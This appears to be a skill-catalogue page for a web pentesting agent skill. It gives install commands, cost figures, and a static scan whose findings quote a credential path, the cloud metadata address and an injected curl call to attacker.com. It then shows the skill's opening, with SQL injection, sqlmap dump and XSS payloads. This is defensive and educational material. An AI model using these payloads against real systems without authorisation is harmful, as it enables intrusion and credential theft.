Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/trilwu/secskillsnpx agentmods add skills/trilwu/secskills/testing-web-applicationsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/trilwu/secskills/testing-web-applications)<a href="https://agentmods.dev/skills/trilwu/secskills/testing-web-applications"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/testing-web-applications.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.02817 |
| Opus 5 | $0.00028 | $0.01409 |
| Sonnet 5 | $0.00011 | $0.00563 |
| Haiku 4.5 | $0.00006 | $0.00282 |
Grade C, and why
testing-web-applications scanned grade C with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
~/.ssh/id_rsa Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
http://169.254.169.254/ # AWS metadata Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
& curl http://attacker.com & How it starts
The opening of the file, as written. The whole thing — 412 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Testing Web Applications
When to Use
- Pentesting web applications
- Testing authentication/authorization
- Exploiting injection vulnerabilities
- Analyzing JWT/session security
- Testing file upload functionality
- API security assessment
When NOT to Use
- Source code is available — use
auditing-code-for-vulnerabilitiesfirst; it finds more, faster - Pure API/GraphQL surface — use
testing-apis - Reviewing a pull request — use
reviewing-code-changes - LLM-backed features — use
securing-ai-systems - Server fetches a user-supplied URL — use
exploiting-ssrf - Serialized objects in cookies or parameters (
rO0AB,O:,gAJ) — useexploiting-deserialization - GraphQL or gRPC endpoints — use
attacking-graphqlorattacking-grpc-protobuf - A JWT (
eyJ...) in a header, cookie, or body — useattacking-jwt - An OAuth/OIDC or "Sign in with X" flow (
/authorize,redirect_uri,code=) — useattacking-oauth-oidc - SAML SSO (
SAMLResponse,<saml:Assertion>,/saml/acs) — useattacking-saml - An endpoint that parses XML, SVG, or Office files — use
exploiting-xxe
SQL Injection
Quick Detection:
# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
Union-Based SQLi:
# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
Time-Based Blind:
-- MySQL
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)--
-- MSSQL
' WAITFOR DELAY '0:0:5'--
Automated Testing:
# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
Cross-Site Scripting (XSS)
Quick Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2d ago First seen · 412 lines · 56 tokens per session scan C 30a18ef20efb
testing-web-applications is a skill published in the GitHub repository trilwu/secskills (135 stars, last pushed 2d ago), licensed MIT. It adds 56 tokens to every session and 2,817 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 3 findings (reaches for credential files, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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